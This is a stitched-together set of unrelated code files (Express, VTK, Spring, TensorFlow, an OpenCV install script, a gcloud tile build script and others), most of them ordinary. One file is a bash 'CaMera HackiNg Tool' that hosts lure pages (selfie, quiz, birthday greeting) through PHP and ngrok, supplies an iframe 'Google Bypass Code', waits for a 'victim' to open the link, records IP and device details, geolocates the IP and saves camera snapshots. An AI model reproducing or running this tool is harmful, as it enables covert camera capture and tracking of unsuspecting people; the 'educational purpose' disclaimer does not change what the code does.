require('./config/config'); const express = require('express'); const path = require('path'); const bodyParser = require('body-parser'); const cookieParser = require('cookie-parser'); const logger = require('morgan'); const {mongoose} = require('./db/mongoose'); const indexRouter = require('./routes/index'); const apiRouter = require('./routes/api'); const lobbyRouter = require('./socket/socket').lobbyRouter; const app = express(); // const server = http.createServer(app); //using http server instead of express server require('./socket/socket'); app.use(function (req, res, next) { res.header("Access-Control-Allow-Origin", "http://localhost:4200"); res.header("Access-Control-Allow-Credentials", "true"); res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, x-auth"); res.header("Access-Control-Allow-Methods", "GET,HEAD,PUT,PATCH,POST,DELETE"); next(); }); app.use(logger('dev')); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({extended: true})); app.use(cookieParser()); app.use(express.static(path.join(__dirname, 'public'))); app.use('/', indexRouter); app.use('/api', apiRouter); app.use('/lobby', lobbyRouter); module.exports.app = app;
#include <vtkSmartPointer.h> #include <vtkAssignAttribute.h> #include <vtkAlgorithmOutput.h> #include <vtkDataSetAttributes.h> #include <vtkDataObject.h> class AttributeAssigner { public: void assignAttribute(vtkSmartPointer<vtkDataObject> validPart, const std::string& attributeName, vtkSmartPointer<vtkAlgorithmOutput> gFilter) { vtkSmartPointer<vtkAssignAttribute> assigner = vtkSmartPointer<vtkAssignAttribute>::New(); if (validPart->GetPointData()->HasArray(attributeName.c_str())) { if (gFilter) { assigner->SetInputConnection(gFilter); } else { assigner->SetInputData(validPart); } } else { assigner->SetInputData(validPart); } // Perform additional operations with the assigner object if needed // ... } }; int main() { // Example usage vtkSmartPointer<vtkDataObject> validPart = ...; // Initialize validPart with appropriate data std::string attributeName = "m_datasetInfo.first"; // Replace with the actual attribute name vtkSmartPointer<vtkAlgorithmOutput> gFilter = ...; // Initialize gFilter with appropriate filter output AttributeAssigner assigner; assigner.assignAttribute(validPart, attributeName, gFilter); // Perform additional operations with the assigner object if needed // ... return 0; }
package com.github.robindevilliers.welcometohell.wizard.expression.function; import com.github.robindevilliers.welcometohell.wizard.expression.Function; import java.util.Map; public class PathFunction implements Function<Object> { private String path; public PathFunction(String path) { this.path = path; } @Override public Object apply(Map<String, Object> scope) { String[] tokens = path.split("[.]]"); Map<String, Object> current = scope; for (int i = 0; i < tokens.length - 1; i++) { Object map = current.get(tokens[i]); if (map instanceof Map) { current = (Map<String, Object>) map; } else { throw new RuntimeException("Path cannot walk over primitive"); } } return current.get(tokens[tokens.length - 1]); } }
func extractTestNames(_ testSuite: [(String, () -> Void)]) -> [String] { return testSuite.map { $0.0 } }
<filename>src/main/java/com/sbsuen/fitfam/user/UserController.java package com.sbsuen.fitfam.user; import lombok.AllArgsConstructor; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.List; @RestController @RequestMapping("fitfam/api/v1/users") @AllArgsConstructor public class UserController { private final UserService userService; @GetMapping public List<User> fetchAllUsers(){ return userService.getAllUsers(); } }
dependencies() { echo command -v zip > /dev/null 2>&1 || { echo -e >&2 "\e[94m➟ \e[92mNeed ZIP installing it....." && apt install zip > /dev/null 2>&1;} command -v php > /dev/null 2>&1 || { echo -e >&2 "\e[94m➟ \e[92mNeed PHP installing it....." && apt install php > /dev/null 2>&1;} command -v curl > /dev/null 2>&1 || { echo -e >&2 "\e[94m➟ \e[92mNeed CURL installing it....." && apt install curl > /dev/null 2>&1;} command -v wget > /dev/null 2>&1 || { echo -e >&2 "\e[94m➟ \e[92mNeed WGET installing it....." && apt install wget > /dev/null 2>&1;} command -v git > /dev/null 2>&1 || { echo -e >&2 "\e[94m➟ \e[92mNeed GIT installing it....." && apt install git > /dev/null 2>&1;} echo } dependencies banner() { clear echo -e '\e[91m \e[92m ,-""-. \e[92m / ,--. \ \e[92m | ( \e[91m()\e[92m ) | \e[93m┌─┐┌─┐┌─┐ \e[92m┬ ┬ \e[92m \ `--` / \e[93m└─┐├┤ ├┤ \e[92m│ │ \e[92m `-..-` \e[93m└─┘└─┘└─┘ \e[92m└─┘' echo echo -e ' \e[92m::: Tool By Noob Hackers :::\e[0m' echo -e ' \e[92m::: github.com/noob-hackers :::\e[0m' echo -e "\e[92m" echo -e ' \e[100m CaMera HackiNg Tool\e[0m' echo } menu() { echo -e " \e[93m[\e[32m1\e[93m]\e[93m➟ \e[92mSTART\e[0m" echo -e " \e[93m[\e[32m2\e[93m]\e[93m➟ \e[92mUPDATE\e[0m" echo -e " \e[93m[\e[32m3\e[93m]\e[93m➟ \e[92mABOUT\e[0m" echo -e " \e[93m[\e[32m4\e[93m]\e[93m➟ \e[92mMORE\e[0m" echo -e " \e[93m[\e[32m5\e[93m]\e[93m➟ \e[92mFOLLOW\e[0m" echo -e " \e[93m[\e[32m6\e[93m]\e[93m➟ \e[92mVIDEO\e[0m" echo -e " \e[93m[\e[32m7\e[93m]\e[93m➟ \e[92mCHAT NOW\e[0m" echo -e " \e[93m[\e[32m8\e[93m]\e[93m➟ \e[92mRESTART\e[0m" echo -e " \e[93m[\e[32m0\e[93m]\e[93m➟ \e[92mEXIT\e[0m" echo echo -ne "\e[92mSelect Option\e[92m: \e[34m" read sit if [[ "$sit" = "1" || "$sit" = "one" ]]; then pagemenu elif [[ "$sit" = "2" || "$sit" = "two" ]]; then echo -e " SOON I WILL UPDATE" elif [[ "$sit" = "3" || "$sit" = "three" ]]; then about elif [[ "$sit" = "4" || "$sit" = "four" ]]; then xdg-open https://noobhacktube.com 2>/dev/null elif [[ "$sit" = "5" || "$sit" = "five" ]]; then xdg-open https://noob-hackers.github.io/noobspage 2>/dev/null elif [[ "$sit" = "6" || "$sit" = "six" ]]; then xdg-open https://bit.ly/nhytchannel > /dev/null 2>&1 elif [[ "$sit" = "7" || "$sit" = "seven" ]]; then xdg-open https://tinyurl.com/whatschat > /dev/null 2>&1 elif [[ "$sit" = "8" || "$sit" = "eight" ]]; then cd $HOME/seeu bash seeu.sh elif [[ "$sit" = "0" || "$sit" = "zero" ]]; then exit 1 else echo -e "\e[93m You Typed It Wrong broooo.....\e[0m" exit 1 fi } pagemenu() { banner echo -e " \e[93m[\e[32m1\e[93m]\e[93m➟ \e[92mSelFie\e[0m" echo -e " \e[93m[\e[32m2\e[93m]\e[93m➟ \e[92mQuIz\e[0m" echo -e " \e[93m[\e[32m3\e[93m]\e[93m➟ \e[92mGuEss\e[0m" echo -e " \e[93m[\e[32m4\e[93m]\e[93m➟ \e[92mSpinWheel\e[0m" echo -e " \e[93m[\e[32m5\e[93m]\e[93m➟ \e[92mHopGame\e[0m" echo -e " \e[93m[\e[32m6\e[93m]\e[93m➟ \e[92mBirthDay\e[0m" echo -e " \e[93m[\e[32m7\e[93m]\e[93m➟ \e[92mWishBook\e[0m" echo -e " \e[93m[\e[32m8\e[93m]\e[93m➟ \e[92mRPSGame\e[0m" echo -e " \e[93m[\e[32m9\e[93m]\e[93m➟ \e[92mFireWorks\e[0m" echo -e " \e[93m[\e[32m10\e[93m]\e[93m➟ \e[92mHappyNewYear\e[0m" echo echo -ne "\e[92mSelect Option\e[92m: \e[34m" read selc if [[ "$selc" == "1" || "$selc" == "one" || "$selc" == "selfie" ]]; then site="selfie" rm -rf webs/$site/even.html > /dev/null 2>&1 start elif [[ "$selc" == "2" || "$selc" == "two" || "$selc" == "quiz" ]] then site="quiz" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "3" || "$selc" == "three" || "$selc" == "guess" ]] then site="guess" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "4" || "$selc" == "four" || "$selc" == "spinwheel" ]] then site="spinwheel" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "5" || "$selc" == "five" || "$selc" == "hopgame" ]] then site="game" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "6" || "$selc" == "six" || "$selc" == "birthday" ]] then birthday rm -rf webs/$site/option.html > /dev/null 2>&1 elif [[ "$selc" == "7" || "$selc" == "seven" || "$selc" == "wishbook" ]] then book elif [[ "$selc" == "8" || "$selc" == "eight" || "$selc" == "rpsgame" ]] then site="rps" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "9" || "$selc" == "nine" || "$selc" == "firework" ]] then firework rm -rf webs/$site/option.html > /dev/null 2>&1 elif [[ "$selc" == "10" || "$selc" == "ten" || "$selc" == "hny" ]] then boxwish rm -rf webs/$site/option.html > /dev/null 2>&1 elif [[ "$selc" == "00" || "$selc" == "exit" || "$selc" == "exit" ]] then banner menu fi } birthday() { echo echo -e " \e[92m[\e[34m1\e[92m]\e[92m➟ \e[93mDefault\e[0m \e[92m[\e[34m2\e[92m]\e[92m➟ \e[93mCustom\e[0m " echo echo -ne "\e[92mSELECT OPTION\e[0m: \e[92m" read selc if [[ "$selc" == "1" || "$selc" == "one" || "$selc" == "default" ]]; then site="birthday" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "2" || "$selc" == "two" || "$selc" == "custom" ]]; then site="birthday" rm -rf webs/$site/option.html > /dev/null 2>&1 echo " " echo -e "\e[94m<<\e[93mcustom options require input actions\e[94m>>\e[92m" echo " " echo -e "\e[93mEvent Name: " read event echo -e "\e[93mPerson Name: " read person echo "Wish Message: " read msg echo echo -e "\e[94m <<\e[93mcustom template created\e[94m>>\e[92m" sed "6s|\(.*\)|<legend> <h2 class="text_head">$event</h2></legend>|" webs/$site/$site.html > option.html && mv option.html webs/$site sed "7s|\(.*\)|<h2 class="text">$person</h2>|" webs/$site/option.html > random.html && mv random.html webs/$site sed "8s|\(.*\)|<h2 class="text">$msg</h2>|" webs/$site/random.html > custom.html && mv custom.html webs/$site rm -rf webs/$site/random.html > /dev/null 2>&1 start fi } book() { echo echo -e " \e[92m[\e[34m1\e[92m]\e[92m➟ \e[93mDefault\e[0m \e[92m[\e[34m2\e[92m]\e[92m➟ \e[93mCustom\e[0m " echo echo -ne "\e[92mSELECT OPTION\e[0m: \e[92m" read selc if [[ "$selc" == "1" || "$selc" == "one" || "$selc" == "default" ]]; then site="book" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "2" || "$selc" == "two" || "$selc" == "custom" ]]; then site="book" rm -rf webs/$site/option.html > /dev/null 2>&1 echo " " echo -e "\e[94m<<\e[93mcustom options require input actions\e[94m>>\e[92m" echo " " echo -e "\e[93mEvent Name: " read event echo -e "\e[93mWish Message: " read msg echo echo -e "\e[94m <<\e[93mcustom template created\e[94m>>\e[92m" sed "32s|\(.*\)|<p id="head">$event</p>|" webs/$site/$site.html > option.html && mv option.html webs/$site sed "33s|\(.*\)|<p>$msg</p>|" webs/$site/option.html > custom.html && mv custom.html webs/$site start fi } firework() { echo echo -e " \e[92m[\e[34m1\e[92m]\e[92m➟ \e[93mDefault\e[0m \e[92m[\e[34m2\e[92m]\e[92m➟ \e[93mCustom\e[0m " echo echo -ne "\e[92mSELECT OPTION\e[0m: \e[92m" read selc if [[ "$selc" == "1" || "$selc" == "one" || "$selc" == "default" ]]; then site="firework" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "2" || "$selc" == "two" || "$selc" == "custom" ]]; then site="firework" rm -rf webs/$site/option.html > /dev/null 2>&1 echo " " echo -e "\e[94m<<\e[93mcustom options require input actions\e[94m>>\e[92m" echo " " echo -e "\e[93mEvent Name: " read event echo -e "\e[93mPerson Name: " read msg echo echo -e "\e[94m <<\e[93mcustom template created\e[94m>>\e[92m" sed "5s|\(.*\)|<center><h1>$event</h1><center>|" webs/$site/$site.html > option.html && mv option.html webs/$site sed "7s|\(.*\)|<h2>$msg<h2>|" webs/$site/option.html > custom.html && mv custom.html webs/$site start fi } boxwish() { echo echo -e " \e[92m[\e[34m1\e[92m]\e[92m➟ \e[93mDefault\e[0m \e[92m[\e[34m2\e[92m]\e[92m➟ \e[93mCustom\e[0m " echo echo -ne "\e[92mSELECT OPTION\e[0m: \e[92m" read selc if [[ "$selc" == "1" || "$selc" == "one" || "$selc" == "default" ]]; then site="boxwish" rm -rf webs/$site/option.html > /dev/null 2>&1 start elif [[ "$selc" == "2" || "$selc" == "two" || "$selc" == "custom" ]]; then site="boxwish" rm -rf webs/$site/option.html > /dev/null 2>&1 echo " " echo -e " \e[94m<<\e[93mcustom options require input actions\e[94m>>\e[92m" echo " " echo -e "\e[93mEvent Name: " read event echo -e "\e[93mPerson Name: " read person echo echo -e " \e[94m <<\e[93mcustom template created\e[94m>>\e[92m" sed "10s|\(.*\)|<h1>$event</h1>|" webs/$site/$site.html > option.html && mv option.html webs/$site sed "11s|\(.*\)|<h2>$person</h2>|" webs/$site/option.html > custom.html && mv custom.html webs/$site start fi } start() { if [[ -e webs/$site/ip.txt ]]; then rm webs/$site/ip.txt 2>&1 fi if [[ -e webs/$site/index.php ]]; then rm webs/$site/index.php 2>&1 fi if [[ -e webs/$site/index.html ]]; then rm webs/$site/index.html 2>&1 fi if [[ -e webs/$site/Log.log ]]; then rm webs/$site/Log.log 2>&1 fi if [[ -e webs/$site/template.html ]]; then rm webs/$site/template.html 2>&1 fi if [[ -e ngrok ]]; then echo "" else echo printf "\e[1;92m[\e[34m•\e[1;92m] Downloading Ngrok...\n" arch=$(uname -a | grep -o 'arm') if [[ $arch == *'arm'* ]]; then wget https://bin.equinox.io/a/e93TBaoFgZw/ngrok-2.2.8-linux-arm.zip > /dev/null 2>&1 if [[ -e ngrok-2.2.8-linux-arm.zip ]]; then unzip ngrok-2.2.8-linux-arm.zip > /dev/null 2>&1 rm -rf $HOME/.ngrok2 > /dev/null 2>&1 chmod +x ngrok rm -rf ngrok-2.2.8-linux-arm.zip else echo printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n" exit 1 fi else wget https://github.com/noob-hackers/impstuff/raw/main/ngrok%2Bwifi%2Bdata.zip > /dev/null 2>&1 if [[ -e ngrok+wifi+data.zip ]]; then unzip ngrok+wifi+data.zip > /dev/null 2>&1 rm -rf $HOME/.ngrok2 > /dev/null 2>&1 chmod +x ngrok rm -rf ngrok+wifi+data.zip else echo printf "\e[1;93m[!] Unable to download \e[0m\n" exit 1 fi fi fi if [[ -e webs/$site/option.html ]]; then echo -e "\e[1;92m[\e[34m•\e[1;92m] Starting Host Server..." cd webs/$site && mv custom.html template.html && php -S 127.0.0.1:3333 > /dev/null 2>&1 & sleep 8 echo -e "\e[1;92m[\e[34m•\e[1;92m] Starting Ngrok Server..." ./ngrok http 3333 > /dev/null 2>&1 & sleep 10 else echo -e "\e[1;92m[\e[34m•\e[1;92m] Starting Host Server..." cd webs/$site && cp $site.html template.html && php -S 127.0.0.1:3333 > /dev/null 2>&1 & sleep 8 echo -e "\e[1;92m[\e[34m•\e[1;92m] Starting Ngrok Server..." ./ngrok http 3333 > /dev/null 2>&1 & sleep 10 fi link=$(curl -s -N http://127.0.0.1:4040/status | grep -o "https://[0-9A-Za-z.-]*\.ngrok.io") status=$(curl -s -o /dev/null -I -w "%{http_code}" $link) stat=$(echo "$status") if [ "$stat" = "200" ]; then echo -e "\e[1;92m[\e[34m•\e[1;92m] Link working code \e[34m[\e[0m200\e[34m]\e[0m" touch bypass.html cat > bypass.html << EOF <iframe name="$site" src="$link" width="100%" height="100%" frameborder="0" scrolling="yes" style="width: 100%;"> </iframe> EOF bypass=$(cat bypass.html) echo -e "\e[92m[-------------\e[34mGoogle Bypass Code\e[92m-------------]\e[91m" echo -e "\e[0m$bypass \e[0m" echo -e "\e[92m[-----------\e[34mUse This Code in Github\e[92m----------]\e[92m" echo sed 's+forwarding_link+'$link'+g' webs/$site/template.html > webs/$site/index.html sed 's+forwarding_link+'$link'+g' webs/$site/forward.php > webs/$site/index.php echo -e "\e[1;92m[\e[34m•\e[1;92m] Send This Link: \e[0m$link\e[0m" checkfound else echo -e "\e[1;92m[\e[34m•\e[1;92m] Link working code \e[34m[\e[91m000\e[34m]\e[0m" echo touch bypass.html cat > bypass.html << EOF <iframe name="$site" src="$link" width="100%" height="100%" frameborder="0" scrolling="yes" style="width: 100%;"> </iframe> EOF bypass=$(cat bypass.html) echo -e "\e[92m[-------------\e[34mGoogle Bypass Code\e[92m-------------]\e[91m" echo -e "\e[0m$bypass \e[0m" echo -e "\e[92m[-----------\e[34mUse This Code in Github\e[92m----------]\e[92m" sed 's+forwarding_link+'$link'+g' webs/$site/template.html > webs/$site/index.html sed 's+forwarding_link+'$link'+g' webs/$site/forward.php > webs/$site/index.php echo -e "\e[1;92m[\e[34m•\e[1;92m] Send This Link: \e[0m$link\e[0m" #merge checkfound fi } checkfound() { echo ' ' echo -e "\e[1;93m[\e[0m\e[34m•\e[0m\e[1;93m] Waiting for victim to open link...\e[0m\n" while [ true ]; do if [[ -e "webs/$site/ip.txt" ]]; then echo echo -e "\e[92m------------------------\e[34mVICTIM FOUND\e[92m-------------------------\e[0m" echo ' ' echo -e "\e[1;92m[\e[34m•\e[1;92m] Device info found..." echo ' ' catch_ip sleep 1.0 fi done } catch_ip() { ip=$( egrep '(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))' webs/$site/ip.txt | cut -d " " -f2 | tr -d '\r') IFS=$'\n' ua=$(grep 'User-Agent:' webs/$site/ip.txt | cut -d '"' -f2) echo -e "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m$ua\e[0m\e[1;77m\e[0m\n" chk=$(fmt -20 webs/$site/ip.txt) sch=$(echo "$chk" > cod.txt) dom1=$(sed -n '5p' cod.txt | cut -d"(" -f2 | cut -d";" -f1) dom2=$(sed -n '6p' cod.txt | cut -d"(" -f2 | cut -d";" -f1) dom3=$(sed -n '7p' cod.txt | cut -d";" -f2 | cut -d")" -f1) dom4=$(sed -n '11p' cod.txt | cut -d "/" -f1) dom5=$(sed -n '11p' cod.txt | cut -d " " -f2 | cut -d"/" -f2) dom6=$(sed -n '12p' cod.txt | cut -d"(" -f2 | cut -d")" -f1) echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Kernel:\e[1;0m$dom1\e[0m" echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Os:\e[1;0m$dom2\e[0m" echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Model:\e[1;0m$dom3\e[0m" echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Browser:\e[0m$dom4\e[0m" echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Version:\e[1;0m$dom5\e[0m" echo -e "\e[1;92m[\e[0m\e[1;34m★ \e[0m\e[1;92m] Device:\e[1;0m$dom6\e[0m" cat webs/$site/ip.txt >> webs/$site/saved.ip.txt if [[ -e location.txt ]]; then rm -rf location.txt fi IFS='\n' iptracker=$(curl -s -L "http://ipwhois.app/json/$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > location.txt && grep -o '"[^"]*"\s*:\s*"[^"]*"' location.txt > track.txt) IFS=$'\n' iptt=$(sed -n 's/"ip"://p' track.txt) if [[ $iptt != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Device ip: \e[0m$iptt\e[0m" fi iptype=$(sed -n 's/"type"://p' track.txt) if [[ $iptype != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] IP type: \e[0m$iptype\e[0m" fi continent=$(sed -n 's/"continent"://p' track.txt) if [[ $continent != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Continent: \e[0m$continent\e[0m" fi country=$(sed -n 's/"country"://p' track.txt) if [[ $country != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Country: \e[0m$country\e[0m" fi flag=$(sed -n 's/"country_flag"://p' track.txt) if [[ $flag != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Country flag: \e[0m$flag\e[0m" fi cap=$(sed -n 's/"country_capital"://p' track.txt) if [[ $cap != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Country capital: \e[0m$cap\e[0m" fi phon=$(sed -n 's/"country_phone"://p' track.txt) if [[ $phon != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Country code: \e[0m$phon\e[0m" fi region=$(sed -n 's/"region"://p' track.txt) if [[ $region != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] State: \e[0m$region\e[0m" fi city=$(sed -n 's/"city"://p' track.txt) if [[ $city != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] City: \e[0m$city\e[0m" fi isp=$(sed -n 's/"isp"://p' track.txt) if [[ $isp != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Isp: \e[0m$isp\e[0m" fi ccode=$(sed -n 's/"currency_code"://p' track.txt) if [[ $ccode != "" ]]; then echo -e "\e[1;92m[\e[34m•\e[92m] Currency code: \e[0m$ccode\e[0m" fi echo "" imgrcv } imgrcv() { echo " " echo -e "\e[1;93m[\e[0m\e[34m•\e[0m\e[1;93m] Waiting For Image...\e[0m\n" while [ true ]; do if [[ -e "webs/$site/Log.log" ]]; then echo -e "\e[1;92m[\e[34m•\e[1;92m] Image Recieved..." sleep 6.0 mv -f webs/$site/*.png /sdcard > /dev/null 2>&1 echo " " echo -e "\e[1;92m[\e[34m•\e[1;92m]\e[1;34m Image Moved To Gallery..." rm webs/$site/ip.txt > /dev/null 2>&1 rm webs/$site/Log.log > /dev/null 2>&1 echo echo -e "\e[92m---------------------\e[34mCHECK YOUR GALLERY\e[92m----------------------\e[0m" echo checkfound fi done } about() { clear echo -e '\e[96m ----------------' echo -e '\e[92m ┌─┐┌┐ ┌─┐┬ ┬┌┬┐ ├─┤├┴┐│ ││ │ │ ┴ ┴└─┘└─┘└─┘ ┴ ' echo -e '\e[96m ----------------' echo -e '\e[96m |------------------|' echo -e '\e[96m |' echo -e '\e[96m |' sleep 1.5 echo -e '\e[96m [\e[92m+\e[96m]-------[\e[92mNITRO\e[96m]' echo -e '\e[96m |' echo -e '\e[96m |' sleep 1.0 echo -e '\e[96m [\e[92m+\e[96m]-------[\e[92mTOOL\e[96m]' echo -e '\e[96m |' echo -e '\e[96m |' echo -e '\e[96m |' sleep 2.0 echo -e '\e[96m [\e[92m+\e[96m]--------------' echo -e '\e[96m |' echo -e '\e[92m THIS TOOLS IS ONLY FOR EDUCATIONAL PURPOSE SO' echo -e '\e[92m IM NOT RESPONSIBLE IF YOU DO ANY ILLEGAL THINGS' echo -e '\e[92m THANKS FOR READING SUBSCRIBE {NOOB HACKERS}' echo -e '\e[92m HAVE A GOOD DAY BUDDIE :)' echo -e '\e[96m |' echo -e '\e[96m |' sleep 4.5 echo -e '\e[96m [\e[92m+\e[96m]------------[\e[92mBYE\e[96m]\e[0m' sleep 2.0 cd $HOME/seeu clear bash seeu.sh } banner menu
a = tf.placeholder(tf.float32, shape=[None, 2]) b = tf.placeholder(tf.float32, shape=[2, 2]) # Create prefetching tensor prefetch_signal = tf.Variable(initial_value=0, dtype=tf.int64, trainable=False) a_prefetch = tf.data.Dataset.from_tensor_slices(a).prefetch(1).make_one_shot_iterator().get_next() b_prefetch = tf.data.Dataset.from_tensor_slices(b).prefetch(1).make_one_shot_iterator().get_next() # Create asynchronous operations c = tf.matmul(a_prefetch, b_prefetch) # Create control input with tf.control_dependencies([tf.assign_add(prefetch_signal, 1)]): c_prefetch = tf.identity(c) # Create prefetch queue queue = tf.FIFOQueue(1, dtypes=tf.int64) enqueue_op = queue.enqueue(prefetch_signal) with tf.Session() as sess: sess.run(enqueue_op) sess.run(c_prefetch)
<filename>src/main/java/org/hiro/mapper/InitWeaponMapper.java package org.hiro.mapper; import org.apache.ibatis.annotations.Mapper; import org.hiro.InitWeapon; @Mapper public interface InitWeaponMapper { InitWeapon findById(int Id); }
<reponame>kostasxerv/movierama var express = require('express') const router = express.Router() const { ensureLoggedIn } = require('connect-ensure-login') const { movieController } = require('../controllers') router.post('/movie', ensureLoggedIn(), movieController.createMovie) router.post('/movie/like', ensureLoggedIn(), movieController.likeMovie) router.post('/movie/hate', ensureLoggedIn(), movieController.hateMovie) router.delete('/movie/:movieId', ensureLoggedIn(), movieController.deleteMovie) router.put('/movie/:movieId', ensureLoggedIn(), movieController.updateMovie) router.get('/movies/', movieController.getMovies) module.exports = router
#!/bin/sh echo "OpenCV installation by learnOpenCV.com" #Specify OpenCV version cvVersion="3.4.3" # Clean build directories rm -rf opencv/build rm -rf opencv_contrib/build # Create directory for installation mkdir installation mkdir installation/OpenCV-"$cvVersion" # Save current working directory cwd=$(pwd) sudo apt -y update sudo apt -y upgrade sudo apt -y remove x264 libx264-dev ## Install dependencies sudo apt -y install build-essential checkinstall cmake pkg-config yasm sudo apt -y install git gfortran sudo apt -y install libjpeg8-dev libjasper-dev libpng12-dev sudo apt -y install libtiff5-dev sudo apt -y install libtiff-dev sudo apt -y install libavcodec-dev libavformat-dev libswscale-dev libdc1394-22-dev sudo apt -y install libxine2-dev libv4l-dev cd /usr/include/linux sudo ln -s -f ../libv4l1-videodev.h videodev.h cd $cwd sudo apt -y install libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev sudo apt -y install libgtk2.0-dev libtbb-dev qt5-default sudo apt -y install libatlas-base-dev sudo apt -y install libfaac-dev libmp3lame-dev libtheora-dev sudo apt -y install libvorbis-dev libxvidcore-dev sudo apt -y install libopencore-amrnb-dev libopencore-amrwb-dev sudo apt -y install libavresample-dev sudo apt -y install x264 v4l-utils # Optional dependencies sudo apt -y install libprotobuf-dev protobuf-compiler sudo apt -y install libgoogle-glog-dev libgflags-dev sudo apt -y install libgphoto2-dev libeigen3-dev libhdf5-dev doxygen sudo apt -y install python3-dev python3-pip python3-venv sudo -H pip3 install -U pip numpy sudo apt -y install python3-testresources cd $cwd ############ For Python 3 ############ # create virtual environment python3 -m venv OpenCV-"$cvVersion"-py3 echo "# Virtual Environment Wrapper" >> ~/.bashrc echo "alias workoncv-$cvVersion=\"source $cwd/OpenCV-$cvVersion-py3/bin/activate\"" >> ~/.bashrc source "$cwd"/OpenCV-"$cvVersion"-py3/bin/activate # now install python libraries within this virtual environment pip install wheel numpy scipy matplotlib scikit-image scikit-learn ipython dlib # quit virtual environment deactivate ###################################### git clone https://github.com/opencv/opencv.git cd opencv git checkout tags/3.4.3 cd .. git clone https://github.com/opencv/opencv_contrib.git cd opencv_contrib git checkout tags/3.4.3 cd .. cd opencv mkdir build cd build cmake -D CMAKE_BUILD_TYPE=RELEASE \ -D CMAKE_INSTALL_PREFIX=$cwd/installation/OpenCV-"$cvVersion" \ -D INSTALL_C_EXAMPLES=ON \ -D INSTALL_PYTHON_EXAMPLES=ON \ -D WITH_TBB=ON \ -D WITH_V4L=ON \ -D OPENCV_PYTHON3_INSTALL_PATH=$cwd/OpenCV-$cvVersion-py3/lib/python3.5/site-packages \ -D WITH_QT=ON \ -D WITH_OPENGL=ON \ -D OPENCV_EXTRA_MODULES_PATH=../../opencv_contrib/modules \ -D BUILD_EXAMPLES=ON .. make -j$(nproc) make install
#!/usr/bin/env bash TIMEOUT=8000 LAYER_ID="sea_level.sla" VARIABLE_ID="sla" LAYER_TYPE="image" VERSION="1.1.1" LON_RES="1440" LAT_RES="720" ZOOM_LEVELS="0-3" MIN_LON="-180" MAX_LON="180" MIN_LAT="-90" MAX_LAT="90" MIN="-0.5" MAX="0.5" if [ ! -f ./package.json ]; then echo "You have to be in the root folder of the project to run this script!" exit 1 fi gcloud --project esa-climate-from-space builds submit \ --config ./ci/cloudbuild-tiles-reproject.yaml \ --timeout=$TIMEOUT \ --substitutions _LAYER_ID=$LAYER_ID,_VARIABLE_ID=$VARIABLE_ID,_ZOOM_LEVELS=$ZOOM_LEVELS,_LAYER_TYPE=$LAYER_TYPE,_LON_RES=$LON_RES,_LAT_RES=$LAT_RES,_VERSION=$VERSION,_MIN=$MIN,_MAX=$MAX,_MIN_LON=$MIN_LON,_MAX_LON=$MAX_LON,_MIN_LAT=$MIN_LAT,_MAX_LAT=$MAX_LAT \ .
def add_matrix(A, B): """Add two matrices of the same size.""" n = len(A) m = len(A[0]) result = [[0 for _ in range(m)] for _ in range(n)] for i in range(n): for j in range(m): result[i][j] = A[i][j] + B[i][j] return result # Output print(add_matrix(A,B))
<gh_stars>0 package Enums; public enum FindElementBy { XPath, Id }
../android-ndk-r8/ndk-build
